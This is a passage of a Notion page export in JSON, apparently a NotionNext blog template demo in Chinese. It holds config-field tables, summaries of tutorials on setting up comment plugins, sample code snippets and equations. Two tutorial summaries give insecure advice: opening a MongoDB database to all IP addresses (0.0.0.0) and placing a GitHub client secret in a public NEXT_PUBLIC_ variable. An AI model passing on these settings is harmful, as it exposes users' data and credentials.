:"block","alive":true,"copied_from":"44854eb0-485e-48cc-81b6-5b80488d3b7d"}},"4d6f361a-43ee-4036-84c0-528b8db99127":{"value":{"id":"4d6f361a-43ee-4036-84c0-528b8db99127","type":"table_row","properties":{"BYf{":[["tags",[["c"]]]],"GENW":[["否"]],"Js[p":[["文章标签"]],"`VuO":[["可多个,建议不要太多"]]},"format":{"copied_from_pointer":{"id":"c7ca1f34-ec0f-4c56-84c8-cab6ff13ca7f","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991051,"last_edited_time":1705638991051,"parent_id":"e0c369fb-2c38-4e2d-b639-361bca715727","parent_table":"block","alive":true,"copied_from":"c7ca1f34-ec0f-4c56-84c8-cab6ff13ca7f"}},"3a7fc9cc-3076-4fb0-ad05-c85def990def":{"value":{"id":"3a7fc9cc-3076-4fb0-ad05-c85def990def","type":"table_row","properties":{"BYf{":[["slug",[["c"]]]],"GENW":[["否"]],"Js[p":[["文章短路径"]],"`VuO":[[" (每篇文章唯一,请勿 重复)"]]},"format":{"copied_from_pointer":{"id":"66668f66-e0a7-49d4-af0e-2e1277dff157","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991050,"last_edited_time":1705638991050,"parent_id":"e0c369fb-2c38-4e2d-b639-361bca715727","parent_table":"block","alive":true,"copied_from":"66668f66-e0a7-49d4-af0e-2e1277dff157"}},"422651c6-3a69-448d-88de-41bac662105d":{"value":{"id":"422651c6-3a69-448d-88de-41bac662105d","type":"table_row","properties":{"BYf{":[["icon",[["c"]]]],"GENW":[["否"]],"Js[p":[["菜单栏图标(仅当"],["Page",[["c"]]],["类型有效)"]],"`VuO":[["可以参考:"],["图标库地址",[["a","https://fontawesome.com/v6/search"]]]]},"format":{"copied_from_pointer":{"id":"3f432717-e38f-4cf2-b648-8a82826e6d46","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991049,"last_edited_time":1705638991049,"parent_id":"e0c369fb-2c38-4e2d-b639-361bca715727","parent_table":"block","alive":true,"copied_from":"3f432717-e38f-4cf2-b648-8a82826e6d46"}},"12373e99-0812-4e9d-9d7b-a5e57bbab2ad":{"value":{"id":"12373e99-0812-4e9d-9d7b-a5e57bbab2ad","type":"table_row","properties":{"BYf{":[["password",[["c"]]]],"GENW":[[" 否"]],"Js[p":[[" 文章加锁"]],"`VuO":[[" 需要输入密码才允许访问"]]},"format":{"copied_from_pointer":{"id":"224b5680-aeff-427d-af00-27a29a0684f6","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991048,"last_edited_time":1705638991048,"parent_id":"e0c369fb-2c38-4e2d-b639-361bca715727","parent_table":"block","alive":true,"copied_from":"224b5680-aeff-427d-af00-27a29a0684f6"}},"b2eef454-ef1f-4137-a256-ed8d7f28ca5d":{"value":{"id":"b2eef454-ef1f-4137-a256-ed8d7f28ca5d","type":"header","properties":{"title":[["评论插件"]]},"format":{"copied_from_pointer":{"id":"fd4c19bc-0de4-40ea-a038-8e0c97744ff3","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991044,"last_edited_time":1705638991044,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"fd4c19bc-0de4-40ea-a038-8e0c97744ff3"}},"75a4c9a0-0331-416b-86ac-184c365390a9":{"value":{"id":"75a4c9a0-0331-416b-86ac-184c365390a9","type":"text","properties":{"title":[["系统支持 Waline\\Giscus\\Valine\\GitTalk\\Utterance\\Cusdis\\Twikoo六种评论插件,并且可以同时开启,点击评论区的Tab来体验。"]]},"format":{"copied_from_pointer":{"id":"f0b6509e-dfc7-4cc6-a02d-29e2c5d2dcea","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991043,"last_edited_time":1705638991043,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"f0b6509e-dfc7-4cc6-a02d-29e2c5d2dcea"}},"f7f5b64a-3ff6-47b3-947d-80f9e1704081":{"value":{"id":"f7f5b64a-3ff6-47b3-947d-80f9e1704081","type":"text","properties":{"title":[["按照以下教程可以开启响应的评论插件"]]},"format":{"copied_from_pointer":{"id":"f729e406-9158-4baa-9043-148399a69893","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991044,"last_edited_time":1705638991044,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"f729e406-9158-4baa-9043-148399a69893"}},"db08546f-0540-456c-9244-e258c16452c3":{"value":{"id":"db08546f-0540-456c-9244-e258c16452c3","type":"bookmark","properties":{"link":[["https://tangly1024.com/article/notionnext-twikoo"]],"title":[["NotionNext配置评论插件Twikoo | TANGLY's BLOG"]],"description":[["一个简洁、安全、免费的静态网站评论系统,基于 腾讯云开发 。 经评论区网友推荐,我开始使用 Twikoo,一番体验,发现Twikoo真的很强大,目前我决定用它作为主要评论插件。 twikoo支持在页面上直接管理评论、配置插件,非常强大 在最新版本中 NotionNext已经 支持该评论插件,配置 方法很简单: 在Vercel后台添加一个环境变量 NEXT_PUBLIC_COMMENT_ENV_ID ; 值为您部署好的 twikoo 后台地址。以我的举例: 借助vercel,您可以非常快速地部署自己的twikoo后台,用于储存评论数据。 twikoo的后台数据存储是基于MongoDB数据库的,我们可以先注册创建一个免费的在线MongoDB数据库。 创建MongoDB数据库 1.注册账号 创建数据库 这里下方要设置一个允许访问该数据库的IP地址,推荐设置0.0.0.0,即所有地址都允许访问,毕竟我也不知道自己会用什么ip访问这个数据库。 2.获取数据库连接地址 Vercel一键部署 点击Create将twikoo的代码拷入您的仓库 配置MongoDB数据库地址 添加一个配置 MONGODB_URI 环境变量即可,其值为上一步获得的MongoDB连接地址,注意将链接中MONGODB的密码 替换成您设置的。 上述部署完成后,您将获得一个vercel的twikoo后台页面,您可以选择像我一样映射成二级域名 将您的twikoo后台地址配置在NotionNext的后台,并redeploy即可。 到此完成~ 点击右下角的小齿轮即可配置您的管理员密码、并进行更多的功能设置。赶快体验吧~ 可以访问官方文档获取安装部署帮助,并且查看Twikoo的更多特性。 NotionNext支持多种评论插件,可访问以下文章获得帮助:"]]},"format":{"bookmark_icon":"https://tangly1024.com/favicon.ico","bookmark_cover":"https://images.unsplash.com/photo-1564419320603-628d868a193f?ixlib=rb-4.0.3\u0026q=80\u0026fm=jpg\u0026crop=entropy\u0026cs=tinysrgb","copied_from_pointer":{"id":"d35a0f34-d6b5-4a61-81a0-36518f8e6f7b","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991042,"last_edited_time":1705638991042,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"d35a0f34-d6b5-4a61-81a0-36518f8e6f7b"}},"c06aaa31-3788-4ed1-b964-ad1ff77fe151":{"value":{"id":"c06aaa31-3788-4ed1-b964-ad1ff77fe151","type":"bookmark","properties":{"link":[["https://tangly1024.com/article/notion-next-comment-plugin"]],"title":[["NotionNext如何添加评论插件 | TANGLY's BLOG"]],"description":[["NotionNext支持多种评论插件,其中体验比较好的我个人觉得是Twikoo,您可以参考以下教程进行配置安装: 您也可以选择Valine/Waline,关于Valine/Waline的部署可以访问此篇文章: Utterance 、 Giscus 、Gitalk 其中部署最便捷的当属 Cusdis 和 Utterance 这两个插件。您可以任选一个部署,当然,您也可以选择同时部署多个。 完成效果预览 点击Start for free ,并用Github登录即可 Sign in With Github (点击查看截图) [可选] 配置邮件通知地址,以便收到新评论时邮件通知您,(点击展开截图) 点击Embed Code获取您的应用ID,即data-app-id, 复制这串id备用。 在Vercel后台添加一个环境变量 NEXT_PUBLIC_COMMENT_CUSDIS_APP_ID,值为上面获取到的data-app-id。 完成预览效果 在您的Github中创建一个开源项目用于存放评论 在github中安装utterance插件 允许utterance访问所有仓库,并勾选install,可以只勾选作为评论用的仓库地址。 将用作评论仓库名添加到Vercel添加环境变量 后台 settings→ environment variables → 添加 → save 即可。如下图: 注意, 仓库名的格式是 [您的用户名/您的仓库名] 如下示例 完成预览效果 在您的Github中创建一个开源项目用于存放评论 创建一个授权秘钥,并保存您的ClientID与ClientSecret Authorization callback URL 填写您网站域名 填写配置的效果 ,点击 register application 即可创建。 点击 Generate a new client secret 生成您的密码 复制 Client ID和刚生成的 Client secret (对应图中2和3)备用。 在Vercel后台配置环境变量 NEXT_PUBLIC_COMMENT_GITALK_CLIENT_ID NEXT_PUBLIC_COMMENT_GITALK_CLIENT_SECRET NEXT_PUBLIC_COMMENT_GITALK_CLIENT_ID NEXT_PUBLIC_COMMENT_GITALK_CLIENT_SECRET 项目会在您的Github项目讨论区创建评论数据,便于维护管理 , 完成效果 预览 您可以在Github的Discusstion讨论区随时管理评论。 在您的Github中创建一个开源项目用于存放评论 在项目Setting中开启discussion功能 在Github中安装giscus应用 点击右上方的Install即可,并确认 允许访问仓库数据权限: 默认勾选All repositories即可。也可以只勾选用作评论的仓库,(后续还可以再回来配置) 访问Giscus填写并获取您的Giscus配置参数 主要配置输入您的仓库名,并选择 Discussion分类为 Announcements ."]]},"format":{"bookmark_icon":"https://tangly1024.com/favicon.ico","bookmark_cover":"https://tangly1024.com/bg_image.jpg","copied_from_pointer":{"id":"83caa5ef-f141-412a-a469-542d934d7147","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991038,"last_edited_time":1705638991038,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"83caa5ef-f141-412a-a469-542d934d7147"}},"24d6c0a0-f4d3-44dd-b749-4f048b962bcd":{"value":{"id":"24d6c0a0-f4d3-44dd-b749-4f048b962bcd","type":"bookmark","properties":{"link":[["https://tangly1024.com/article/notionnext-valine"]],"title":[["NotionNext配置Valine/Waline评论插件 | TANGLY's BLOG"]],"description":[["Valine插件需要LeanCloud后端提供数据库存储功能,请按照以下步骤配置。 而Waline 的前置步骤和Valine基本一致,只是多了一个部署Waline的Vercel服务步骤。由于Waline配置了完善的后台管理功能,所以使用Waline就不需要再配合Admin-Valine项目运行。 应用创建好以后,进入刚刚创建的应用,选择左下角的 设置\u003e 应用Key,然后就能看到你的 APP ID和 APP Key 了: 为了你的数据安全,请设置自己的 安全域名 :只有以下设置的域名,才允许访问你的valine数据 支持的Valine配置在NotionNext项目的blog.config.js 中,请在Vercel后台的环境变量中配置: serverURLs在应用内部会尝试自动获取,如果发现获取失败,请手动提供 刚刚创建的应用,选择左下角的 设置\u003e 应用Key,找到 Request 域名 第一行 需要在akismet中注册账号并获取免费的key: https://akismet.com/account ,并在LeanCloud中配置 AKISMET_KEY 变量 参考官方文档,在你的Vercel上部署一个valine应用。而后在你的NotionNext环境变量中添加你的waline服务地址环境变量: NEXT_PUBLIC_WALINE_SERVER_URL 即可生效。"]]},"format":{"bookmark_icon":"https://tangly1024.com/favicon.ico","bookmark_cover":"https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F10eb466a-599b-4513-bcbf-2331cf88078d%2Fpexels-photo-546819.webp?table=block\u0026id=bee1fccf-a3bd-47a1-a7be-83cc71372d83\u0026cache=v2","copied_from_pointer":{"id":"43105988-677b-4857-96be-272139671537","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991033,"last_edited_time":1705638991033,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"43105988-677b-4857-96be-272139671537"}},"58b92af2-69c7-4e70-b107-5b62363f7bf8":{"value":{"id":"58b92af2-69c7-4e70-b107-5b62363f7bf8","type":"text","format":{"copied_from_pointer":{"id":"517fd501-4fae-491e-89af-373bba175082","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991034,"last_edited_time":1705638991034,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"517fd501-4fae-491e-89af-373bba175082"}},"7a70e08b-725e-4db5-9f17-8dc53540f006":{"value":{"id":"7a70e08b-725e-4db5-9f17-8dc53540f006","type":"file","properties":{"size":[["469.5KB"]],"title":[["测试嵌入PDF.pdf"]],"source":[["https://notion.so/signed/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2F20ecd1ff-e4de-4471-b86f-6f14ec891fc0%2F%25E6%25B5%258B%25E8%25AF%2595%25E5%25B5%258C%25E5%2585%25A5PDF.pdf?table=block\u0026id=7a70e08b-725e-4db5-9f17-8dc53540f006"]]},"format":{"copied_from_pointer":{"id":"a7d89bbd-87c6-4a4e-b49d-67339645680e","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991040,"last_edited_time":1705638991040,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"a7d89bbd-87c6-4a4e-b49d-67339645680e","file_ids":["20ecd1ff-e4de-4471-b86f-6f14ec891fc0"]}},"42e434d6-3a26-49f0-8405-04854616fc19":{"value":{"id":"42e434d6-3a26-49f0-8405-04854616fc19","type":"header","properties":{"title":[["引用文献"]]},"format":{"copied_from_pointer":{"id":"ea5f0b81-5dc2-4a8d-a210-3eca56193e38","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991043,"last_edited_time":1705638991043,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"ea5f0b81-5dc2-4a8d-a210-3eca56193e38"}},"f862643d-1c2d-4678-9168-580da7e368dc":{"value":{"id":"f862643d-1c2d-4678-9168-580da7e368dc","type":"sub_sub_header","properties":{"title":[["1. 关于李白",[["a","https://zh.wikipedia.org/zh-sg/%E6%9D%8E%E7%99%BD"]]]]},"format":{"copied_from_pointer":{"id":"a47eb492-9c65-4ac4-b8c8-95d00023a97e","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991040,"last_edited_time":1705638991040,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"a47eb492-9c65-4ac4-b8c8-95d00023a97e"}},"573fc380-fb6b-434b-897f-3510f4c57832":{"value":{"id":"573fc380-fb6b-434b-897f-3510f4c57832","type":"text","properties":{"title":[["引用另一篇文章→"],["‣",[["p","f5dd304c-8c81-40dc-ba37-9c1d7399e15e","6c096b44-beb9-48ee-8f92-1efdde47f3a3"]]],[" "]]},"format":{"copied_from_pointer":{"id":"ba59b0e1-f03b-414c-8f0e-91ab9c82ace5","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991041,"last_edited_time":1705638991041,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"ba59b0e1-f03b-414c-8f0e-91ab9c82ace5"}},"f5dd304c-8c81-40dc-ba37-9c1d7399e15e":{"value":{"id":"f5dd304c-8c81-40dc-ba37-9c1d7399e15e","type":"page","properties":{"NX\\Q":[["‣",[["d",{"type":"date","start_date":"2021-07-02"}]]]],"`gQ~":[["Post"]],"bB{M":[["知行合一"]],"d]hq":[["guide"]],"sD^m":[["文字,推荐"]],"wz|S":[["\u003c- 点击标题OPEN按钮打开说明;请检查您的NOTION_PAGE_ID是否成功配置,否则会显示我的默认数据库内容。"]],"title":[["模板说明"]],"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":[["Published"]]},"content":["579acad5-88b1-48b4-9663-be0acfce1b82","43904423-54d5-4b7a-99e1-c42e625c1a43","22dda7cc-3244-4b8e-b207-c2e4d19b880f","87cd6da6-69f3-47d4-aa17-030c57592d46","5ab0b635-8005-4cc8-a169-6e26bc440b19","4c27b110-b8c1-462b-b17d-6b83a532a460","84e4d603-68c8-4e86-8a2a-89bade71caa6","c8471935-a70e-4cab-9f10-9e6528bc4f36"],"format":{"page_font":"mono","page_icon":"📖","page_cover":"https://images.unsplash.com/photo-1494774157365-9e04c6720e47?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"06f53161-8c9a-4e9c-8109-a8bd142a7b06","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"page_cover_position":0.5},"created_time":1685088343887,"last_edited_time":1709537040462,"parent_id":"4379bc14-5d22-453b-a153-12639616fc01","parent_table":"collection","alive":true,"copied_from":"06f53161-8c9a-4e9c-8109-a8bd142a7b06"}},"f993f0f3-96ef-436e-b3a6-2a32c9623c1c":{"value":{"id":"f993f0f3-96ef-436e-b3a6-2a32c9623c1c","type":"code","properties":{"title":[["ps -ef | grep java | awk '{print $2}' | xargs kill -9"]],"language":[["Bash"]]},"format":{"code_wrap":true,"copied_from_pointer":{"id":"c7dacf97-8ced-4a63-bdd2-e812ceedb59d","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991047,"last_edited_time":1705638991047,"parent_id":"58a2fe87-4e0c-40aa-baed-b99e677f4891","parent_table":"block","alive":true,"copied_from":"c7dacf97-8ced-4a63-bdd2-e812ceedb59d"}},"dc053857-d6b6-4106-9819-6545884c39ee":{"value":{"id":"dc053857-d6b6-4106-9819-6545884c39ee","type":"code","properties":{"title":[["@Test\npublic void test11() {\n\n  long start = System.currentTimeMillis();\n  int a = 0;\n  for(int i=0;i\u003c1000000000;i++){\n      try {\n          a++;\n      }catch (Exception e){\n          e.printStackTrace();\n      }\n  }\n  long useTime = System.currentTimeMillis()-start;\n  System.out.println(\"useTime:\"+useTime);\n}"]],"language":[["Java"]]},"format":{"code_wrap":true,"copied_from_pointer":{"id":"c1d99d5c-8f92-4ca2-8ca6-ac18f231f1a4","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991047,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705638991047,"parent_id":"58a2fe87-4e0c-40aa-baed-b99e677f4891","parent_table":"block","alive":true,"copied_from":"c1d99d5c-8f92-4ca2-8ca6-ac18f231f1a4"}},"063756cd-6ec1-4081-85e3-4b92832a9cb4":{"value":{"id":"063756cd-6ec1-4081-85e3-4b92832a9cb4","type":"code","properties":{"title":[["#!/usr/bin/python3\nimport json\n \n# Python 字典类型转换为 JSON 对象\ndata = {\n    'no' : 1,\n    'name' : 'hello',\n    'url' : 'http://tangly1024.com'\n}\n \njson_str = json.dumps(data)\nprint (\"Python 原始数据:\", repr(data))\nprint (\"JSON 对象:\", json_str)"]],"language":[["Python"]]},"format":{"code_wrap":false,"copied_from_pointer":{"id":"cfbb8514-5746-4091-b999-2866e4571a26","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991047,"last_edited_time":1705638991047,"parent_id":"58a2fe87-4e0c-40aa-baed-b99e677f4891","parent_table":"block","alive":true,"copied_from":"cfbb8514-5746-4091-b999-2866e4571a26"}},"cb1f9529-7659-4836-902b-9d15084eaa0a":{"value":{"id":"cb1f9529-7659-4836-902b-9d15084eaa0a","type":"code","properties":{"title":[["# R 语言\n#file.edit(path.expand(file.path(\"~\", \".Renviron\")))\nlibrary(telegram.bot)\nlibrary(stringr)\n# Initiate the bot session using the token from the enviroment variable.\nbot = Bot(token = bot_token('your_bot'))\nusr_list \u003c- c(12344566, 12345566)"]],"language":[["R"]]},"format":{"code_wrap":true,"copied_from_pointer":{"id":"36cb1cb7-d73c-4b90-82d3-dbb573207652","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991046,"last_edited_time":1705638991046,"parent_id":"58a2fe87-4e0c-40aa-baed-b99e677f4891","parent_table":"block","alive":true,"copied_from":"36cb1cb7-d73c-4b90-82d3-dbb573207652"}},"c7f0ee45-718e-4229-9f2f-b7c2fc7ad580":{"value":{"id":"c7f0ee45-718e-4229-9f2f-b7c2fc7ad580","type":"code","properties":{"title":[["html {\n\tbackground-color: red;\n}"]],"language":[["CSS"]]},"format":{"code_wrap":false,"copied_from_pointer":{"id":"a8e425a6-ce5b-40dc-ab17-580a83415d55","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991047,"last_edited_time":1705638991047,"parent_id":"58a2fe87-4e0c-40aa-baed-b99e677f4891","parent_table":"block","alive":true,"copied_from":"a8e425a6-ce5b-40dc-ab17-580a83415d55"}},"88676695-452c-49cb-9d9c-0711d2f1f4be":{"value":{"id":"88676695-452c-49cb-9d9c-0711d2f1f4be","type":"code","properties":{"title":[["#include \u003ciostream\u003e\nusing namespace std;\n \n// main() 是程序开始执行的地方\n \nint main()\n{\n   cout \u003c\u003c \"Hello World\"; // 输出 Hello World\n   return 0;\n}"]],"language":[["cpp"]]},"format":{"code_wrap":false,"copied_from_pointer":{"id":"37cfbb5c-1b8e-4394-b6fe-a644a0ffc13b","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991046,"last_edited_time":1705638991046,"parent_id":"58a2fe87-4e0c-40aa-baed-b99e677f4891","parent_table":"block","alive":true,"copied_from":"37cfbb5c-1b8e-4394-b6fe-a644a0ffc13b"}},"025fccd3-0e3c-4be1-85bb-1880edddeb65":{"value":{"id":"025fccd3-0e3c-4be1-85bb-1880edddeb65","type":"code","properties":{"title":[["using System;\nnamespace HelloWorldApplication\n{\n   class HelloWorld\n   {\n      static void Main(string[] args)\n      {\n         Console.WriteLine(\"Hello World\");\n         Console.ReadKey();\n      }\n   }\n}"]],"language":[["csharp"]]},"format":{"code_wrap":false,"copied_from_pointer":{"id":"45b73aab-c9a1-4354-8b75-3e46b625dc1b","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991047,"last_edited_time":1705638991047,"parent_id":"58a2fe87-4e0c-40aa-baed-b99e677f4891","parent_table":"block","alive":true,"copied_from":"45b73aab-c9a1-4354-8b75-3e46b625dc1b"}},"4d19c930-9e8b-4fc5-b273-19717fe62e33":{"value":{"id":"4d19c930-9e8b-4fc5-b273-19717fe62e33","type":"code","properties":{"title":[[".section __TEXT,__text,regular,pure_instructions\n.macosx_version_min 10, 13\n.globl _add_a_b\n.p2align 4, 0x90\n_add_a_b: ## @add_a_b\n.cfi_startproc\n## BB#0:\npushq %rbp\nLcfi0:\n.cfi_def_cfa_offset 16\nLcfi1:\n.cfi_offset %rbp, -16\nmovq %rsp, %rbp\nLcfi2:\n.cfi_def_cfa_register %rbp\nmovl %edi, -4(%rbp)\nmovl %esi, -8(%rbp)\nmovl -4(%rbp), %esi\naddl -8(%rbp), %esi\nmovl %esi, %eax\npopq %rbp\nretq\n.cfi_endproc\n\n.globl _main\n.p2align 4, 0x90\n_main: ## @main\n.cfi_startproc\n## BB#0:\npushq %rbp\nLcfi3:\n.cfi_def_cfa_offset 16\nLcfi4:\n.cfi_offset %rbp, -16\nmovq %rsp, %rbp\nLcfi5:\n.cfi_def_cfa_register %rbp\nsubq $16, %rsp\nmovl $1, %edi\nmovl $2, %esi\nmovl $0, -4(%rbp)\ncallq _add_a_b\naddq $16, %rsp\npopq %rbp\nretq\n.cfi_endproc"]],"language":[["asm6502"]]},"format":{"code_wrap":true,"copied_from_pointer":{"id":"e2716bef-d213-4a69-8fb1-6ffaba898dc8","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991048,"last_edited_time":1705638991048,"parent_id":"58a2fe87-4e0c-40aa-baed-b99e677f4891","parent_table":"block","alive":true,"copied_from":"e2716bef-d213-4a69-8fb1-6ffaba898dc8"}},"583d808b-a380-4da7-a547-23a10d3fa5c8":{"value":{"id":"583d808b-a380-4da7-a547-23a10d3fa5c8","type":"equation","properties":{"title":[["\\begin{aligned}\nAACD \\Rightarrow AAAD \u0026= \\frac 1 3\\\\ \nAACD \\Rightarrow AACD \u0026= \\frac 1 3 + \\frac 1 6 = \\frac 1 2  \\\\ \nAACD \\Rightarrow AACC \u0026= \\frac 1 6 \\end{aligned}"]]},"format":{"copied_from_pointer":{"id":"32375efe-705a-4363-9a7f-a5ec0c55ed18","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991051,"last_edited_time":1705638991051,"parent_id":"a625f064-b0f6-4744-b6b9-e40aaf12ffa9","parent_table":"block","alive":true,"copied_from":"32375efe-705a-4363-9a7f-a5ec0c55ed18"}},"7e94f6c0-5ab6-4778-9277-992fd5664f01":{"value":{"id":"7e94f6c0-5ab6-4778-9277-992fd5664f01","type":"equation","properties":{"title":[["\\begin{bmatrix}\n\t\tc_{0}\u0026c_{n-1}\u0026c_{n-2}\u0026\\cdots \u0026c_{1}\\\\\n\t\tc_{1}\u0026c_{0}\u0026c_{n-1} \u0026  \\cdots \u0026c_{2}\\\\\n\t\tc_{2}\u0026c_{1}\u0026c_{0}\u0026\\cdots  \u0026c_3 \\\\\n\t\t\\vdots \u0026\\vdots\u0026 \\vdots\u0026\\ddots \u0026\\vdots \\\\\n\t\tc_{n-1}\u0026c_{n-2}\u0026c_{n-3}\u0026\\dots \u0026c_{0}\n\\end{bmatrix}"]]},"format":{"copied_from_pointer":{"id":"c9c7ad1d-e52e-4331-9152-f8adb04baa33","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991051,"last_edited_time":1705638991051,"parent_id":"a625f064-b0f6-4744-b6b9-e40aaf12ffa9","parent_table":"block","alive":true,"copied_from":"c9c7ad1d-e52e-4331-9152-f8adb04baa33"}},"52d5a916-ab83-448a-9f42-1a7ef92b2e19":{"value":{"id":"52d5a916-ab83-448a-9f42-1a7ef92b2e19","type":"equation","properties":{"title":[["\\begin{aligned} \\sin 2\\theta \u0026 = 2\\sin \\theta \\cos \\theta \\\\ \u0026 = \\cfrac{2 \\tan \\theta}{1+\\tan^2 \\theta} \\end{aligned}"]]},"format":{"copied_from_pointer":{"id":"1b202589-6640-472f-9f2d-3992d5e4d45a","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991051,"last_edited_time":1705638991051,"parent_id":"a625f064-b0f6-4744-b6b9-e40aaf12ffa9","parent_table":"block","alive":true,"copied_from":"1b202589-6640-472f-9f2d-3992d5e4d45a"}},"68c4d878-bb42-4e06-baa5-635a4f804e97":{"value":{"id":"68c4d878-bb42-4e06-baa5-635a4f804e97","type":"text","format":{"copied_from_pointer":{"id":"e6f9b186-7a60-4e8a-8136-15cc230bdced","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991052,"last_edited_time":1705638991052,"parent_id":"a625f064-b0f6-4744-b6b9-e40aaf12ffa9","parent_table":"block","alive":true,"copied_from":"e6f9b186-7a60-4e8a-8136-15cc230bdced"}},"408dee57-e78b-4bff-b11d-dae0ffb56756":{"value":{"id":"408dee57-e78b-4bff-b11d-dae0ffb56756","type":"equation","properties":{"title":[["AACD\\Rightarrow \\left\\{\\begin{matrix}\n第1次取值 \u0026 第2次取值 \u0026 概率 \u0026 最终状态\\\\\nA \u0026 C,D \u0026= \\frac 1 2 \\times \\frac 2 3= \\frac 1 3 \u0026\\Rightarrow AAAD \\\\ \nA \u0026 A \u0026= \\frac 1 2 \\times \\frac 1 3= \\frac 1 6 \u0026\\Rightarrow AACD \\\\ \nC,D \u0026 A \u0026= 2 \\times \\frac 1 4 \\times \\frac 2 3= \\frac 1 3 \u0026\\Rightarrow CCAD \\\\ \nC,D \u0026 C,D \u0026= 2 \\times \\frac 1 4 \\times \\frac 1 3= \\frac 1 6 \u0026\\Rightarrow CCAA\n\\end{matrix}\\right. "]]},"format":{"copied_from_pointer":{"id":"85681cf1-4c8b-4ceb-8752-d17c32acf930","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991051,"last_edited_time":1705638991051,"parent_id":"a625f064-b0f6-4744-b6b9-e40aaf12ffa9","parent_table":"block","alive":true,"copied_from":"85681cf1-4c8b-4ceb-8752-d17c32acf930"}},"02efa7b3-d1ce-40f7-9a23-f687b0046e4d":{"value":{"id":"02efa7b3-d1ce-40f7-9a23-f687b0046e4d","type":"toggle","properties":{"title":[["点击展开"]]},"content":["43b0eea5-af0c-4e07-a769-c247b1a00029"],"format":{"copied_from_pointer":{"id":"81a4b6d2-5997-4e4d-b0ae-fe1516bf00c1","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991052,"last_edited_time":1705638991052,"parent_id":"4748bbad-6dc8-4e84-ab43-96c076df3dd2","parent_table":"block","alive":true,"copied_from":"81a4b6d2-5997-4e4d-b0ae-fe1516bf00c1"}},"43b0eea5-af0c-4e07-a769-c247b1a00029":{"value":{"id":"43b0eea5-af0c-4e07-a769-c247b1a00029","type":"toggle","properties":{"title":[["点击展开"]]},"content":["a0318786-f5d2-4a58-8ccc-9d56bbe6b155"],"format":{"copied_from_pointer":{"id":"bbaeea0d-972a-42c1-a49f-3ab97ccb3903","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991055,"last_edited_time":1705638991055,"parent_id":"02efa7b3-d1ce-40f7